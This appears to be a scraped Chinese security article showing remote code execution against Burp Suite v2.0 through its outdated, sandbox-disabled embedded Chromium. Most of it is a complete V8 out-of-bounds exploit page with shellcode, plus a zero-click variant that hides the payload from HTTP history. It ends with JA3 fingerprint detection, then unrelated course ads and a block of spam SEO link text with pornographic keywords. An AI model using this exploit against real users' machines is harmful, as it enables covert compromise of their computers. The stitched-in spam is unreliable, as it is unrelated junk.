整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          反制爬蟲之Burp Suite RCE

          、前言

          Headless Chrome是谷歌Chrome瀏覽器的無界面模式,通過命令行方式打開網(wǎng)頁并渲染,常用于自動(dòng)化測(cè)試、網(wǎng)站爬蟲、網(wǎng)站截圖、XSS檢測(cè)等場(chǎng)景。

          近幾年許多桌面客戶端應(yīng)用中,基本都內(nèi)嵌了Chromium用于業(yè)務(wù)場(chǎng)景使用,但由于開發(fā)不當(dāng)、CEF版本不升級(jí)維護(hù)等諸多問題,攻擊者可以利用這些缺陷攻擊客戶端應(yīng)用以達(dá)到命令執(zhí)行效果。

          本文以知名滲透軟件Burp Suite舉例,從軟件分析、漏洞挖掘、攻擊面擴(kuò)展等方面進(jìn)行深入探討。

          二、軟件分析

          以Burp Suite Pro v2.0beta版本為例,要做漏洞挖掘首先要了解軟件架構(gòu)及功能點(diǎn)。

          burpsuite_pro_v2.0.11beta.jar進(jìn)行解包,可以發(fā)現(xiàn)Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系統(tǒng)下運(yùn)行內(nèi)置Chromium瀏覽器。

          在Windows系統(tǒng)中,Burp Suite v2.0運(yùn)行時(shí)會(huì)將chromium-win64.7z解壓至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目錄

          從目錄名及數(shù)字簽名得知Burp Suite v2.0是直接引用JxBrowser瀏覽器控件,其打包的Chromium版本為64.0.3282.24。

          那如何在Burp Suite中使用內(nèi)置瀏覽器呢?在常見的使用場(chǎng)景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能夠調(diào)用內(nèi)置Chromium瀏覽器渲染網(wǎng)頁。

          當(dāng)Burp Suite喚起內(nèi)置瀏覽器browsercore32.exe打開網(wǎng)頁時(shí),browsercore32.exe會(huì)創(chuàng)建Renderer進(jìn)程及GPU加速進(jìn)程。

          browsercore32.exe進(jìn)程運(yùn)行參數(shù)如下:

          // Chromium主進(jìn)程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
          
          // Renderer進(jìn)程
          C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
          

          從進(jìn)程運(yùn)行參數(shù)分析得知,Chromium進(jìn)程以headless模式運(yùn)行、關(guān)閉了沙箱功能、隨機(jī)監(jiān)聽一個(gè)端口(用途未知)。

          三、漏洞利用

          Chromium組件的歷史版本幾乎都存在著1Day漏洞風(fēng)險(xiǎn),特別是在客戶端軟件一般不會(huì)維護(hù)升級(jí)Chromium版本,且關(guān)閉沙箱功能,在沒有沙箱防護(hù)的情況下漏洞可以無限制利用。

          Burp Suite v2.0內(nèi)置的Chromium版本為64.0.3282.24,該低版本Chromium受到多個(gè)歷史漏洞影響,可以通過v8引擎漏洞執(zhí)行shellcode從而獲得PC權(quán)限。

          以Render功能演示,利用v8漏洞觸發(fā)shellcode打開計(jì)算器(此處感謝Sakura提供漏洞利用代碼)

          這個(gè)漏洞沒有公開的CVE ID,但其詳情可以在這里找到。
          該漏洞的Root Cause是在進(jìn)行
          Math.expm1的范圍分析時(shí),推斷出的類型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)會(huì)返回-0的情況,從而導(dǎo)致范圍分析錯(cuò)誤,導(dǎo)致JIT優(yōu)化時(shí),錯(cuò)誤的將邊界檢查CheckBounds移除,造成了OOB漏洞。

          <html>
          <head></head>
          </body>
          <script>
          function pwn() {
              var f64Arr = new Float64Array(1);
              var u32Arr = new Uint32Array(f64Arr.buffer);
          
              function f2u(f) {
                  f64Arr[0] = f;
                  return u32Arr;
              }
          
              function u2f(h, l)
              {
                  u32Arr[0] = l;
                  u32Arr[1] = h;
                  return f64Arr[0];
              }
          
              function hex(i) {
                  return "0x" + i.toString(16).padStart(8, "0");
              }
          
              function log(str) {
                  console.log(str);
                  document.body.innerText += str + '\n';
              }
          
              var big_arr = [1.1, 1.2];
              var ab = new ArrayBuffer(0x233);
              var data_view = new DataView(ab);
          
              function opt_me(x) {
                  var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
                  big_arr = [1.1, 1.2];
                  ab = new ArrayBuffer(0x233);
                  data_view = new DataView(ab);
          
                  let obj = {
                      a: -0
                  };
                  let idx = Object.is(Math.expm1(x), obj.a) * 10;
          
                  var tmp = f2u(oob_arr[idx])[0];
                  oob_arr[idx] = u2f(0x234, tmp);
              }
              for (let a = 0; a < 0x1000; a++)
                  opt_me(0);
          
              opt_me(-0);
              var optObj = {
                  flag: 0x266,
                  funcAddr: opt_me
              };
          
              log("[+] big_arr.length: " + big_arr.length);
          
              if (big_arr.length != 282) {
                  log("[-] Can not modify big_arr length !");
                  return;
              }
              var backing_store_idx = -1;
              var backing_store_in_hign_mem = false;
              var OptObj_idx = -1;
              var OptObj_idx_in_hign_mem = false;
          
              for (let a = 0; a < 0x100; a++) {
                  if (backing_store_idx == -1) {
                      if (f2u(big_arr[a])[0] == 0x466) {
                          backing_store_in_hign_mem = true;
                          backing_store_idx = a;
                      } else if (f2u(big_arr[a])[1] == 0x466) {
                          backing_store_in_hign_mem = false;
                          backing_store_idx = a + 1;
                      }
                  }
          
                  else if (OptObj_idx == -1) {
                      if (f2u(big_arr[a])[0] == 0x4cc) {
                          OptObj_idx_in_hign_mem = true;
                          OptObj_idx = a;
                      } else if (f2u(big_arr[a])[1] == 0x4cc) {
                          OptObj_idx_in_hign_mem = false;
                          OptObj_idx = a + 1;
                      }
                  }
          
              }
          
              if (backing_store_idx == -1) {
                  log("[-] Can not find backing store !");
                  return;
              } else
                  log("[+] backing store idx: " + backing_store_idx +
                      ", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
          
              if (OptObj_idx == -1) {
                  log("[-] Can not find Opt Obj !");
                  return;
              } else
                  log("[+] OptObj idx: " + OptObj_idx +
                      ", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
          
              var backing_store = (backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
              log("[+] Origin backing store: " + hex(backing_store));
          
              var dataNearBS = (!backing_store_in_hign_mem ?
                  f2u(big_arr[backing_store_idx])[1] :
                  f2u(big_arr[backing_store_idx])[0]);
          
              function read(addr) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx] = u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx] = u2f(dataNearBS, addr);
                  return data_view.getInt32(0, true);
              }
          
              function write(addr, msg) {
                  if (backing_store_in_hign_mem)
                      big_arr[backing_store_idx] = u2f(addr, dataNearBS);
                  else
                      big_arr[backing_store_idx] = u2f(dataNearBS, addr);
                  data_view.setInt32(0, msg, true);
              }
          
              var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
                  f2u(big_arr[OptObj_idx])[1] :
                  f2u(big_arr[OptObj_idx])[0]) - 1;
              log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
          
              var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
              log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
          
              var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
              log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
          
              var shellcode = new Uint8Array(
                     [0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
                      0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
                      0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
                      0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
                      0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
                      0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
                      0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
                      0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
                      0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
                      0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
                      0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
                      0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
                      0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
              );
          
              log("[+] writing shellcode ... ");
              for (let i = 0; i < shellcode.length; i++)
                  write(RWX_Mem_Addr + i, shellcode[i]);
          
              log("[+] execute shellcode !");
              opt_me();
          }
          pwn();
          </script>
          </body>
          </html>
          

          用戶在通過Render功能渲染頁面時(shí)觸發(fā)v8漏洞成功執(zhí)行shellcode。

          四、進(jìn)階攻擊

          Render功能需要用戶交互才能觸發(fā)漏洞,相對(duì)來說比較雞肋,能不能0click觸發(fā)漏洞?答案是可以的。

          Burp Suite v2.0的Live audit from Proxy被動(dòng)掃描功能在默認(rèn)情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞。

          其中JavaScript分析配置中,默認(rèn)開啟了動(dòng)態(tài)分析功能(dynamic analysis techniques)、額外請(qǐng)求功能(Make requests for missing Javascript dependencies)

          JavaScript動(dòng)態(tài)分析功能會(huì)調(diào)用內(nèi)置chromium瀏覽器對(duì)頁面中的JavaScript進(jìn)行DOM XSS掃描,同樣會(huì)觸發(fā)頁面中的HTML渲染、JavaScript執(zhí)行,從而觸發(fā)v8漏洞執(zhí)行shellcode。

          額外請(qǐng)求功能當(dāng)頁面存在script標(biāo)簽引用外部JS時(shí),除了頁面正常渲染時(shí)請(qǐng)求加載script標(biāo)簽,還會(huì)額外發(fā)起請(qǐng)求加載外部JS。即兩次請(qǐng)求加載外部JS文件,并且分別執(zhí)行兩次JavaScript動(dòng)態(tài)分析。

          額外發(fā)起的HTTP請(qǐng)求會(huì)存在明文特征,后端可以根據(jù)該特征在正常加載時(shí)返回正常JavaScript代碼,額外加載時(shí)返回漏洞利用代碼,從而可以實(shí)現(xiàn)在Burp Suite HTTP history中隱藏攻擊行為。

          GET /xxx.js HTTP/1.1
          Host: www.xxx.com
          Connection: close
          Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
          

          JavaScript動(dòng)態(tài)分析 + 額外請(qǐng)求 + chromium漏洞組合利用效果:

          五、流量特征檢測(cè)

          默認(rèn)情況下Java發(fā)起HTTPS請(qǐng)求時(shí)協(xié)商的算法會(huì)受到JDK及操作系統(tǒng)版本影響,而Burp Suite自己實(shí)現(xiàn)了HTTPS請(qǐng)求庫,其TLS握手協(xié)商的算法是固定的,結(jié)合JA3算法形成了TLS流量指紋特征可被檢測(cè),有關(guān)于JA3檢測(cè)的知識(shí)點(diǎn)可學(xué)習(xí)《TLS Fingerprinting with JA3 and JA3S》。

          Cloudflare開源并在CDN產(chǎn)品上應(yīng)用了MITMEngine組件,通過TLS指紋識(shí)別可檢測(cè)出惡意請(qǐng)求并攔截,其覆蓋了大多數(shù)Burp Suite版本的JA3指紋從而實(shí)現(xiàn)檢測(cè)攔截。這也可以解釋為什么在滲透測(cè)試時(shí)使用Burp Suite請(qǐng)求無法獲取到響應(yīng)包。

          以Burp Suite v2.0舉例,實(shí)際測(cè)試在各個(gè)操作系統(tǒng)下,同樣的jar包發(fā)起的JA3指紋是一樣的。

          不同版本Burp Suite支持的TLS算法不一樣會(huì)導(dǎo)致JA3指紋不同,但同樣的Burp Suite版本JA3指紋肯定是一樣的。如果需要覆蓋Burp Suite流量檢測(cè)只需要將每個(gè)版本的JA3指紋識(shí)別覆蓋即可檢測(cè)Burp Suite攻擊從而實(shí)現(xiàn)攔截。

          本文章涉及內(nèi)容僅限防御對(duì)抗、安全研究交流,請(qǐng)勿用于非法途徑。

          家好,今天給大家演示一下一款由spring mvc+mysql實(shí)現(xiàn)的Java web學(xué)生宿舍管理系統(tǒng),系統(tǒng)項(xiàng)目源代碼在【猿來入此】獲取!https://www.yuanlrc.com/product/details.html?pid=144&fuid=6666該系統(tǒng)實(shí)現(xiàn)的基本功能有:學(xué)生信息管理、宿舍信息管理、班級(jí)信息管理、訪客管理、宿舍物品損壞管理、宿舍評(píng)價(jià)評(píng)分管理、用戶管理、角色權(quán)限管理、菜單管理等功能,非常豐富,此外還附帶有完整的論文及視頻指導(dǎo)運(yùn)行教程,

          環(huán)境要求 eclipse jdk1.8 tomcat7 mysql5.7

          人以魚,不如授之以漁,我們的實(shí)戰(zhàn)教程最注重的是編程的思路思想,是學(xué)習(xí)方法的探索,只要掌握了思想思路,學(xué)習(xí)任何一門技術(shù)都是手到擒來。今天我們發(fā)布的springboot基礎(chǔ)腳手架的實(shí)戰(zhàn)教程是目前所有實(shí)戰(zhàn)教程中含金量最高的一款,除了講解基本的框架原理、模板語法、數(shù)據(jù)庫操作等方法,還仔細(xì)講解了在實(shí)際工作中遇到問題解決問題的思路、代碼的抽象封裝精簡(jiǎn)、以及在實(shí)際項(xiàng)目中的一些優(yōu)化代碼的思路。系統(tǒng)實(shí)現(xiàn)的功能主要有用戶管理、角色管理、權(quán)限管理、日志管理、數(shù)據(jù)庫備份等等,涉及的知識(shí)點(diǎn)有:springboot框架原理、freemark模板標(biāo)簽語法、jpa數(shù)據(jù)庫操作及自動(dòng)建表、統(tǒng)一上傳文件實(shí)現(xiàn)方法、自定義注解實(shí)現(xiàn)統(tǒng)一驗(yàn)證方法、權(quán)限攔截器實(shí)現(xiàn)權(quán)限統(tǒng)一管理、自定義分頁插件封裝、調(diào)用控制臺(tái)命令對(duì)數(shù)據(jù)庫進(jìn)行自動(dòng)備份還原、定時(shí)任務(wù)詳解及定時(shí)備份數(shù)據(jù)庫、session監(jiān)聽器及統(tǒng)計(jì)線上人數(shù)等等,所涉及的知識(shí)點(diǎn)都是在實(shí)際開發(fā)項(xiàng)目中經(jīng)常用到的,教程用了62講,每講30分鐘左右的時(shí)間對(duì)所有的技術(shù)點(diǎn)做了詳細(xì)講解,是入門springboot不可多得的實(shí)戰(zhàn)教程。

          https://www.yuanlrc.com/product/details.html?pid=301&fuid=6666


          主站蜘蛛池模板: 国产精品无码一区二区三区免费 | 美女免费视频一区二区三区| 色噜噜狠狠一区二区三区果冻| 香蕉免费一区二区三区| 2021国产精品一区二区在线| 欧亚精品一区三区免费| 精品女同一区二区| 国产精品一区在线播放| 成人精品一区二区三区中文字幕| 国产午夜精品一区理论片| 国产裸体舞一区二区三区| 激情亚洲一区国产精品| 中文字幕不卡一区| 午夜肉伦伦影院久久精品免费看国产一区二区三区 | 午夜一区二区免费视频| 国产精品一区二区久久精品无码| 无码人妻精品一区二区三18禁 | 国产色综合一区二区三区| 日韩人妻无码免费视频一区二区三区| 熟妇人妻一区二区三区四区| 综合一区自拍亚洲综合图区| 3d动漫精品啪啪一区二区免费 | 久久亚洲色一区二区三区| 在线观看精品一区| 亚洲欧美日韩中文字幕在线一区| 亚洲国产精品一区二区久久hs| 无码精品蜜桃一区二区三区WW | 精品国产免费观看一区 | 在线一区二区三区| 精品国产一区二区三区久久影院| 亚洲色偷偷偷网站色偷一区| 午夜精品一区二区三区免费视频| 丝袜无码一区二区三区| 国产精品无圣光一区二区| 国产一区二区电影| 无码人妻精品一区二区三区久久| 无码AV天堂一区二区三区| 韩国一区二区视频| 内射少妇一区27P| 亚洲乱码日产一区三区| 搡老熟女老女人一区二区|